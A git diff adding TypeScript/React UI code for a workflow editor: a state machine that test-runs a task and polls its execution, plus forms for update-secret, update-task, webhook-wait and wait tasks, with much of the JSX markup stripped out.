b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/actions.ts @@ -0,0 +1,33 @@ +import { DoneInvokeEvent, assign } from "xstate"; +import { + SetTaskDomainEvent, + UpdateTaskVariablesEvent, + TestTaskButtonMachineContext, +} from "./types"; +import { Execution } from "types/Execution"; + +export const setTaskDomain = assign< + TestTaskButtonMachineContext, + SetTaskDomainEvent +>((_, { domain }) => ({ + taskDomain: domain, +})); + +export const persistTaskChanges = assign< + TestTaskButtonMachineContext, + UpdateTaskVariablesEvent +>((_, { inputParameters }) => ({ + taskChanges: inputParameters, +})); + +export const persistExecutionId = assign< + TestTaskButtonMachineContext, + DoneInvokeEvent +>({ + testExecutionId: (_context, { data }) => data, +}); + +export const persistTestedTaskExecutionResult = assign< + TestTaskButtonMachineContext, + DoneInvokeEvent +>((_context, { data }) => ({ testedTaskExecutionResult: data })); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/hook.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/hook.ts new file mode 100644 index 0000000..02002c0 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/hook.ts @@ -0,0 +1,55 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { TestTaskButtonTypes, TestTaskButtonEvents } from "./types"; + +export const useTestTaskButtonMachine = ( + actor: ActorRef, +) => { + const originalTask = useSelector( + actor, + (state) => state.context.originalTask, + ); + const taskChanges = useSelector(actor, (state) => state.context.taskChanges); + const taskDomain = useSelector(actor, (state) => state.context.taskDomain); + const testedTaskExecutionResult = useSelector( + actor, + (state) => state.context.testedTaskExecutionResult, + ); + const testExecutionId = useSelector( + actor, + (state) => state.context.testExecutionId, + ); + + const setInputParameters = (inputParameters: Record) => { + actor.send({ + type: TestTaskButtonTypes.UPDATE_TASK_VARIABLES, + inputParameters, + }); + }; + const setTaskDomain = (domain: string) => { + actor.send({ + type: TestTaskButtonTypes.SET_TASK_DOMAIN, + domain, + }); + }; + const handleRunTestTask = () => { + actor.send({ + type: TestTaskButtonTypes.TEST_TASK, + }); + }; + + return [ + { + originalTask, + taskChanges, + taskDomain, + testedTaskExecutionResult, + testExecutionId, + }, + { + setInputParameters, + setTaskDomain, + handleRunTestTask, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/machine.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/machine.ts new file mode 100644 index 0000000..70578c0 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/machine.ts @@ -0,0 +1,103 @@ +import { createMachine, assign } from "xstate"; +import * as customActions from "./actions"; +import * as services from "./service"; +import { + TestTaskButtonTypes, + TestTaskButtonMachineContext, + TestTaskButtonEvents, + TestTaskButtonMachineStates, +} from "./types"; + +export const TestTaskMachine = createMachine< + TestTaskButtonMachineContext, + TestTaskButtonEvents +>( + { + id: "testTaskMachine", + predictableActionArguments: true, + initial: "configuringTask", + context: { + originalTask: {}, + taskChanges: {}, + testedTaskExecutionResult: {}, + authHeaders: {}, + tasksList: [], + }, + states: { + configuringTask: { + on: { + [TestTaskButtonTypes.SET_TASK_JSON]: { + actions: assign({ + originalTask: (_, event) => event.originalTask, + taskChanges: (_, event) => event.taskChanges, + }), + }, + [TestTaskButtonTypes.UPDATE_TASK_VARIABLES]: { + actions: ["persistTaskChanges"], + }, + [TestTaskButtonTypes.SET_TASK_DOMAIN]: { + actions: ["setTaskDomain"], + }, + [TestTaskButtonTypes.TEST_TASK]: { + target: TestTaskButtonMachineStates.RUN_TEST_TASK, + }, + }, + }, + [TestTaskButtonMachineStates.RUN_TEST_TASK]: { + initial: "runTestTask", + states: { + runTestTask: { + invoke: { + id: "runTestTask", + src: "runTestTask", + onDone: { + target: "pollForExecutionResult", + actions: ["persistExecutionId"], + }, + onError: { + target: "#testTaskMachine.configuringTask", + actions: ["setErrorMessage"], + }, + }, + }, + pollForExecutionResult: { + invoke: { + id: "pollForExecutionResult", + src: "pollForExecutionResult", + onDone: [ + { + cond: (_context, { data: { status } }) => + status === "RUNNING", + target: "keepPolling", + actions: ["persistTestedTaskExecutionResult"], + }, + { + target: "displayOutput", + actions: ["persistTestedTaskExecutionResult"], + }, + ], + onError: { + target: "#testTaskMachine.configuringTask", + actions: ["setErrorMessage"], + }, + }, + }, + keepPolling: { + after: { + 1000: { + target: "pollForExecutionResult", + }, + }, + }, + displayOutput: { + type: "final", + }, + }, + }, + }, + }, + { + actions: customActions as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/service.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/service.ts new file mode 100644 index 0000000..cc12c3a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/service.ts @@ -0,0 +1,93 @@ +import { tryFunc, tryToJson } from "utils/utils"; +import { TestTaskButtonMachineContext } from "./types"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; +import { queryClient } from "queryClient"; +import { logger } from "utils/logger"; +import { TaskType } from "types/common"; +import { getCorrespondingJoinTask } from "../../../helpers"; + +const fetchContext = fetchContextNonHook(); + +export const runTestTask = async ({ + authHeaders, + originalTask, + user, + taskDomain, + taskChanges, + tasksList, +}: TestTaskButtonMachineContext) => { + const suffix = Math.random().toString(36).substring(2, 9); + const name = `test_task_${originalTask?.name}_${suffix}`; + + const originalTaskIsFork = originalTask?.type === TaskType.FORK_JOIN; + const originalTaskIsDynamicFork = + originalTask?.type === TaskType.FORK_JOIN_DYNAMIC; + + const workflowWithTask = { + name: name, + version: 1, + workflowDef: { + name: name, + description: `Test ${originalTask?.type} task within a workflow`, + version: 1, + tasks: [ + { + ...originalTask, + inputParameters: + taskChanges && tryToJson(JSON.stringify(taskChanges)), + }, + ...(originalTaskIsFork || originalTaskIsDynamicFork + ? getCorrespondingJoinTask(originalTask ?? {}, tasksList) + : []), + ], + createdBy: user?.id || "example@email.com", + }, + ...(taskDomain + ? { + taskToDomain: { + [`${originalTask?.taskReferenceName}`]: taskDomain, + }, + } + : {}), + }; + + const body = JSON.stringify(workflowWithTask, null, 0); + + return tryFunc({ + fn: async () => { + return await fetchWithContext( + "/workflow", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body, + }, + true, + ); + }, + customError: { + message: "Run test task failed.", + }, + showCustomError: false, + }); +}; + +export const pollForExecutionResult = async ({ + authHeaders: headers, + testExecutionId, +}: TestTaskButtonMachineContext) => { + const url = `/workflow/${testExecutionId}?summarize=true`; + try { + const result = await queryClient.fetchQuery([fetchContext.stack, url], () => + fetchWithContext(url, fetchContext, { headers }), + ); + return result; + } catch (error) { + logger.error("Fetching task list page", error); + return Promise.reject({ message: "Error fetching task list page" }); + } +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/types.ts new file mode 100644 index 0000000..6196b82 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/types.ts @@ -0,0 +1,49 @@ +import { User } from "types/User"; +import { AuthHeaders, TaskDef } from "types/common"; + +export enum TestTaskButtonTypes { + CHANGE_VALUE = "CHANGE_VALUE", + UPDATE_TASK_VARIABLES = "UPDATE_TASK_VARIABLES", + TEST_TASK = "TEST_TASK", + SET_TASK_DOMAIN = "SET_TASK_DOMAIN", + SET_TASK_JSON = "SET_TASK_JSON", + TOGGLE_TEST_TASK = "TOGGLE_TEST_TASK", +} + +export enum TestTaskButtonMachineStates { + RUN_TEST_TASK = "RUN_TEST_TASK", +} + +export type SetTaskJsonEvent = { + type: TestTaskButtonTypes.SET_TASK_JSON; + originalTask: Record; + taskChanges: Record; +}; +export type UpdateTaskVariablesEvent = { + type: TestTaskButtonTypes.UPDATE_TASK_VARIABLES; + inputParameters: Record; +}; +export type SetTaskDomainEvent = { + type: TestTaskButtonTypes.SET_TASK_DOMAIN; + domain: string; +}; +export type TestTaskEvent = { + type: TestTaskButtonTypes.TEST_TASK; +}; + +export type TestTaskButtonEvents = + | TestTaskEvent + | SetTaskDomainEvent + | UpdateTaskVariablesEvent + | SetTaskJsonEvent; + +export interface TestTaskButtonMachineContext { + originalTask?: Record; + taskChanges?: Record; + taskDomain?: string; + testedTaskExecutionResult?: Record; + authHeaders: AuthHeaders; + testExecutionId?: string; + user?: User; + tasksList?: Partial[]; +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UnknownTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UnknownTaskForm.tsx new file mode 100644 index 0000000..f9f2dca --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UnknownTaskForm.tsx @@ -0,0 +1,30 @@ +import TaskFormSection from "pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection"; +import { Box, Grid } from "@mui/material"; +import { TaskFormProps } from "pages/definition/EditorPanel/TaskFormTab/forms/types"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; + +export const UnknownTaskForm = ({ task, onChange }: TaskFormProps) => { + return ( + + + + + + onChange({ ...task, inputParameters: newParams }) + } + /> + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/UpdateSecretTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/UpdateSecretTaskForm.tsx new file mode 100644 index 0000000..c9a92c2 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/UpdateSecretTaskForm.tsx @@ -0,0 +1,62 @@ +import { Box, Grid } from "@mui/material"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { TaskType } from "types"; +import { MaybeVariable } from "../MaybeVariable"; +import { Optional } from "../OptionalFieldForm"; +import TaskFormSection from "../TaskFormSection"; +import { useTaskForm } from "../hooks/useTaskForm"; +import { TaskFormProps } from "../types"; +import { useGetSetHandler } from "../useGetSetHandler"; + +const secretPath = "inputParameters._secrets"; +const secretKeyPath = `${secretPath}.secretKey`; +const secretValuePath = `${secretPath}.secretValue`; + +const UpdateSecretTaskForm = (props: TaskFormProps) => { + const { task, onChange } = props; + const [secretKey, setSecretKey] = useTaskForm(secretKeyPath, props); + const [secretValue, setSecretValue] = useTaskForm(secretValuePath, props); + const [secrets, handleSecrets] = useGetSetHandler(props, secretPath); + + return ( + + + + + + + + + + + + + + + + + + + + + + ); +}; + +export default UpdateSecretTaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/index.ts new file mode 100644 index 0000000..31bdf9d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/index.ts @@ -0,0 +1,3 @@ +import UpdateSecretTaskForm from "./UpdateSecretTaskForm"; + +export { UpdateSecretTaskForm }; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskForm.tsx new file mode 100644 index 0000000..62e3cf2 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskForm.tsx @@ -0,0 +1,95 @@ +import { Box, FormControlLabel, Grid } from "@mui/material"; + +import MuiCheckbox from "components/ui/MuiCheckbox"; +import { + AnInputComponent, + EventJson, + UpdateTaskFormEvent, +} from "pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskFromEvent"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import { updateField } from "utils/fieldHelpers"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; +import { useUpdateTaskHandler } from "./common"; +import { UpdateTaskStatus } from "types/UpdateTaskStatus"; +import { Optional } from "../OptionalFieldForm"; + +export const UpdateTaskForm = ({ task, onChange }: TaskFormProps) => { + const { handleTaskStatusChange, handleMergeOutputChange } = + useUpdateTaskHandler({ + task, + onChange, + }); + return ( + + + + + { + onChange({ + ...task, + inputParameters: { + ...task.inputParameters, + ...{ + workflowId: value?.workflowId, + taskId: value?.taskId, + taskRefName: value?.taskRefName, + }, + }, + }); + }} + inputComponent={ + ConductorAutocompleteVariables as AnInputComponent + } + /> + + + handleTaskStatusChange(value)} + otherOptions={Object.values(UpdateTaskStatus)} + error={!task?.inputParameters?.taskStatus} + /> + + + + + } + label="Merge Output (append the output to existing output)" + /> + + + + + + onChange(updateField("inputParameters.taskOutput", value, task)) + } + /> + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskFromEvent.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskFromEvent.tsx new file mode 100644 index 0000000..64daddf --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskFromEvent.tsx @@ -0,0 +1,130 @@ +import { FormControlLabel, Grid, Radio, RadioGroup } from "@mui/material"; +import _omit from "lodash/omit"; +import React, { useMemo } from "react"; + +import ConductorInput, { + ConductorInputProps, +} from "../../../../../../components/ui/inputs/ConductorInput"; +import { ConductorAutocompleteVariablesProps } from "components/FlatMapForm/ConductorAutocompleteVariables"; + +type EventTaskReferenceInput = { taskId: string }; +type WorkflowTaskReferenceInput = { workflowId: string; taskRefName: string }; +export type EventJson = Partial< + EventTaskReferenceInput & WorkflowTaskReferenceInput +>; +export type AnInputComponent = React.FunctionComponent< + ConductorInputProps | ConductorAutocompleteVariablesProps +>; + +interface FormWithRadioGroupProps { + value: EventJson; + onChange: (value: EventJson) => void; + inputComponent?: AnInputComponent; +} + +const omitTaskId = (value: EventJson) => _omit(value, "taskId"); + +const omitWorkflowID = (value: EventJson) => + _omit(value, ["workflowId", "taskRefName"]); + +const _isTaskIdSelected = (value: EventJson) => value?.taskId != null; + +export const UpdateTaskFormEvent = ({ + value, + onChange, + inputComponent: InputComponent = ConductorInput as AnInputComponent, +}: FormWithRadioGroupProps) => { + const isTaskIdSelected = useMemo(() => _isTaskIdSelected(value), [value]); + + return ( + <> + label >span": { fontWeight: 600, mb: 2 } }} + name="refresh-radio-group-options" + row + value={isTaskIdSelected ? "task-id" : "workflow-id-task-ref"} + onChange={(event) => { + if (event.target.value === "task-id") { + onChange({ + taskId: value.taskId ?? "", + }); + } else { + onChange({ + workflowId: value.workflowId ?? "", + taskRefName: value.taskRefName ?? "", + }); + } + }} + > + } + label="Workflow Id + Task Ref Name" + value="workflow-id-task-ref" + id="workflow-and-task-ref-radio-button" + /> + } + label="Task ID" + value="task-id" + id="task-id-radio-button" + /> + + {isTaskIdSelected ? ( + + { + const newValue = + typeof val === "string" ? val : val?.target?.value; + + onChange(omitWorkflowID({ ...value, taskId: newValue })); + }} + /> + + ) : ( + + + { + const newValue = + typeof val === "string" ? val : val?.target?.value; + + onChange(omitTaskId({ ...value, workflowId: newValue })); + }} + /> + + + { + const newValue = + typeof val === "string" ? val : val?.target?.value; + + onChange(omitTaskId({ ...value, taskRefName: newValue })); + }} + /> + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/common.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/common.ts new file mode 100644 index 0000000..7cd8620 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/common.ts @@ -0,0 +1,18 @@ +import { ChangeEvent } from "react"; +import { updateField } from "utils/fieldHelpers"; +import { TaskFormProps } from "../types"; + +export const useUpdateTaskHandler = ({ task, onChange }: TaskFormProps) => { + const handleTaskStatusChange = (value: string) => + onChange(updateField("inputParameters.taskStatus", value, task)); + + const handleMergeOutputChange = (event: ChangeEvent) => { + const isChecked = event.target.checked; + onChange(updateField("inputParameters.mergeOutput", isChecked, task)); + }; + + return { + handleTaskStatusChange, + handleMergeOutputChange, + }; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/index.ts new file mode 100644 index 0000000..41a8951 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./UpdateTaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/WaitForWebhookTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/WaitForWebhookTaskForm.tsx new file mode 100644 index 0000000..0685b53 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/WaitForWebhookTaskForm.tsx @@ -0,0 +1,44 @@ +import { Box, Grid } from "@mui/material"; + +import { ConductorFlatMapForm } from "components/FlatMapForm/ConductorFlatMapForm"; +import TaskFormSection from "pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection"; +import { TaskFormProps } from "pages/definition/EditorPanel/TaskFormTab/forms/types"; +import { TaskType } from "types"; +import { Optional } from "../OptionalFieldForm"; +import { useGetSetHandler } from "../useGetSetHandler"; + +const MATCH_PATH = "inputParameters.matches"; +const WaitForWebhookTaskForm = (props: TaskFormProps) => { + const { task, onChange } = props; + const [match, handlerMatch] = useGetSetHandler(props, MATCH_PATH); + return ( + + + + + + + + + + + + + + + ); +}; + +export default WaitForWebhookTaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/index.ts new file mode 100644 index 0000000..f71ac4d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/index.ts @@ -0,0 +1,3 @@ +import WaitForWebhookTaskForm from "./WaitForWebhookTaskForm"; + +export default WaitForWebhookTaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/DurationWaitTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/DurationWaitTaskForm.tsx new file mode 100644 index 0000000..b919b72 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/DurationWaitTaskForm.tsx @@ -0,0 +1,92 @@ +import { Grid, Link } from "@mui/material"; +import MuiTypography from "components/ui/MuiTypography"; +import ConductorInputNumber from "components/ui/inputs/ConductorInputNumber"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import _capitalize from "lodash/capitalize"; +import { durationStringToPairs } from "pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/helpers"; +import { FunctionComponent, useMemo } from "react"; + +const DurationWaitTaskForm: FunctionComponent<{ + value: string; + onChange: (val: string) => void; +}> = ({ value, onChange }) => { + const durationTuples = useMemo(() => { + return durationStringToPairs(value); + }, [value]); + + const handlePairUpdate = (idx: number) => (modTuple: [string, string]) => { + const currentTuples = [...durationTuples]; + + // update the latest change + currentTuples[idx] = modTuple; + + const durationString = currentTuples.reduce( + (acc, [value, unit]) => + Number(value) > 0 ? `${acc} ${value} ${unit}` : acc, + "", + ); + onChange(durationString.trim()); + }; + + return ( + + {durationTuples.map(([value, unit], idx) => ( + + + handlePairUpdate(idx)([`${newValue}`, unit]) + } + sx={{ + maxWidth: 80, + // ...disabledInputStyle, + }} + /> + + ))} + + = + + + + Variable  + + ( + + variables + +  is autofilled unless override) + + + } + InputLabelProps={{ + sx: { + pointerEvents: "auto", + }, + }} + value={value} + onChange={onChange} + /> + + + ); +}; + +export default DurationWaitTaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/SelectWaitType.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/SelectWaitType.tsx new file mode 100644 index 0000000..1981f7f --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/SelectWaitType.tsx @@ -0,0 +1,71 @@ +import { FunctionComponent } from "react"; +import { WaitType } from "pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/types"; +import { FormControl } from "@mui/material"; +import { colors } from "theme/tokens/variables"; +import _capitalize from "lodash/capitalize"; +import Button from "components/ui/buttons/MuiButton"; +import ButtonGroup from "components/ui/buttons/MuiButtonGroup"; + +const SelectWaitType: FunctionComponent<{ + options: WaitType[]; + onChange: (val: WaitType) => void; + value: string; +}> = ({ options, onChange, value }) => { + return ( + + + {options.map((option) => ( + + ))} + + + ); +}; + +export default SelectWaitType; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/UntilWaitTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/UntilWaitTaskForm.tsx new file mode 100644 index 0000000..78e5e03 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/UntilWaitTaskForm.tsx @@ -0,0 +1,162 @@ +import { Grid, Link } from "@mui/material"; +import { LocalizationProvider } from "@mui/x-date-pickers/LocalizationProvider"; +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import ConductorDateTimePicker from "components/ui/date-time/ConductorDateTimePicker"; +import _isEmpty from "lodash/isEmpty"; +import { FunctionComponent } from "react"; +import { CONTAIN_VARIABLE_SYNTAX_REGEX } from "utils/constants/regex"; +import { + DATE_FORMAT, + DateAdapter, + formatDate, + getMomentStyleOffset, + getTimeZoneAbbreviation, + getTimeZoneNames, + guessUserTimeZone, + parse, +} from "utils/date"; + +const fixValueForName = (name: string) => { + const offset = getMomentStyleOffset(name); + return `GMT${offset}`; +}; + +const getTimeZoneLabel = (name: string) => { + const offset = getMomentStyleOffset(name); + const gmtString = offset === "+00:00" ? "GMT" : `GMT ${offset}`; + const abbr = getTimeZoneAbbreviation(name); + return `(${gmtString}) ${abbr} (${name})`; +}; + +const TIME_ZONES_OPTIONS = getTimeZoneNames().map((name) => ({ + label: getTimeZoneLabel(name), + value: fixValueForName(name), +})); + +const defaultTimeZone = () => { + return fixValueForName(guessUserTimeZone()); +}; + +const extractDateStringFromValue = (val?: string) => { + if (!val || (val && CONTAIN_VARIABLE_SYNTAX_REGEX.test(val))) { + return [null, ""]; + } + + const splittedVal = val.split(" "); + + if (splittedVal!.length >= 1 && splittedVal!.length < 3) { + return [`${splittedVal[0]} 00:00`, defaultTimeZone()]; + } + + // If it's greater than 3 I don't care because it's wrong + const [dateField, hourField, timeZone] = splittedVal; + + return [`${dateField} ${hourField}`, timeZone]; +}; + +const UntilWaitTaskForm: FunctionComponent<{ + value: string; + onChange: (val: string) => void; +}> = ({ value, onChange }) => { + const [datetime, timeZone] = extractDateStringFromValue(value); + + return ( + + + + { + const validDateFormat = val ? formatDate(val, DATE_FORMAT) : ""; + + if ( + !_isEmpty(validDateFormat) && + !validDateFormat.includes("Invalid date") + ) { + onChange(`${validDateFormat} ${timeZone}`); + } else { + onChange(""); + } + }} + inputProps={{ fullWidth: true }} + /> + + + + { + if (selectedVal && !_isEmpty(datetime)) { + onChange(`${datetime} ${selectedVal.value}`); + } + }} + onInputChange={(__, typed: string) => { + if (!_isEmpty(typed) && !_isEmpty(datetime)) { + onChange(`${datetime} ${typed}`); + } + }} + renderOption={(props, option) => ( +
    2. {option?.label}
      3. + )} + /> +       + + + + Computed value:  + + (can also be a   + + variable + + ) + + + } + InputLabelProps={{ + sx: { + pointerEvents: "auto", + }, + }} + value={value} + onChange={onChange} + /> + +       +       + ); +}; + +export default UntilWaitTaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/WaitTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/WaitTaskForm.tsx new file mode 100644 index 0000000..32bd4a8 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/WaitTaskForm.tsx @@ -0,0 +1,194 @@ +import { Box, Link } from "@mui/material"; +import _omit from "lodash/omit"; +import { FunctionComponent, useMemo } from "react"; + +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import { WaitTaskDef } from "types"; +import { Optional } from "../OptionalFieldForm"; +import TaskFormSection from "../TaskFormSection"; +import { useGetSetHandler } from "../useGetSetHandler"; +import DurationWaitTaskForm from "./DurationWaitTaskForm"; +import SelectWaitType from "./SelectWaitType"; +import UntilWaitTaskForm from "./UntilWaitTaskForm"; +import { detectWaitType } from "./helpers"; +import { WaitTaskFormProps, WaitType } from "./types"; + +const inputParametersPath = "inputParameters"; + +const updateDuration = (task: WaitTaskDef, val: string) => ({ + ...task, + inputParameters: { + ..._omit(task.inputParameters, ["until"]), + duration: val, + }, +}); + +const updateUntil = (task: WaitTaskDef, val: string) => ({ + ...task, + inputParameters: { + ..._omit(task.inputParameters, ["duration"]), + until: val, + }, +}); + +const renderWaitTypeComponent = ({ + waitType, + task, + handler, +}: { + waitType: string; + task: WaitTaskDef; + handler: (val: any) => void; +}) => { + switch (waitType) { + case "duration": + return ( + + handler(updateDuration(task, val))} + /> + + ); + case "until": + return ( + + handler(updateUntil(task, val))} + /> + + ); + default: + return null; + } +}; + +export const WaitTaskForm: FunctionComponent = (props) => { + const { task, onChange } = props; + const [inputParametersValue, setInputParameters] = useGetSetHandler( + props, + inputParametersPath, + ); + const waitType = useMemo(() => detectWaitType(task), [task]); + + const handleChangeConfiguration = (val: WaitType) => { + switch (val) { + case WaitType.DURATION: + onChange(updateDuration(task, "1 days")); + break; + case WaitType.UNTIL: + onChange(updateUntil(task, "")); + break; + default: + onChange({ + ...task, + inputParameters: _omit(task.inputParameters, ["duration", "until"]), + }); + break; + } + }; + + return ( + + + + + + + {waitType === WaitType.UNTIL && ( + + Used to  + + wait until + +  a specified date & time, including the  + + timezone + + . + + )} + + {waitType === WaitType.DURATION && ( + + Specifies the  + + wait duration + +  in the format: x  + + hours + +  x  + + days + +  x  + + minutes + +  x  + + seconds + + + )} + + {waitType === WaitType.SIGNAL && ( + <> + + Used to wait for an external  + + signal. + + + + )} + + + {renderWaitTypeComponent({ + waitType, + task, + handler: onChange, + })} + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/helpers.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/helpers.ts new file mode 100644 index 0000000..9ae502f --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/helpers.ts @@ -0,0 +1,64 @@ +import _isString from "lodash/isString"; +import _isNil from "lodash/isNil"; +import { WaitTaskDef } from "types"; + +const coerceToFullWordNotation = (el: string): string => { + switch (el.trim()) { + case "days": + case "d": + return "days"; + case "hours": + case "hrs": + case "h": + return "hours"; + case "minutes": + case "mins": + case "m": + return "minutes"; + case "seconds": + case "secs": + case "s": + return "seconds"; + } + return el.trim(); +}; + +const defaultDurations: Array<[string, string]> = [ + ["", "days"], + ["", "hours"], + ["", "minutes"], + ["", "seconds"], +]; + +export function durationStringToPairs( + duration: string, +): Array<[string, string]> { + if (_isString(duration)) { + const durationArray = duration.split(/\s+/); + + if (duration.length > 0 && durationArray.length % 2 === 0) { + return defaultDurations.map(([value, unit]) => { + const validValueIndex = durationArray.findIndex( + (v) => coerceToFullWordNotation(v) === unit, + ); + const validValue = + validValueIndex > 0 ? durationArray[validValueIndex - 1] : value; + + return [validValue, unit]; + }); + } + + return defaultDurations; + } + + return defaultDurations; +} + +export const detectWaitType = (task: WaitTaskDef) => { + if (!_isNil(task?.inputParameters?.until)) { + return "until"; + } else if (!_isNil(task?.inputParameters?.duration)) { + return "duration"; + } + return "signal"; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/index.ts new file mode 100644 index 0000000..8ae8c15 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./WaitTaskForm"; diff --git 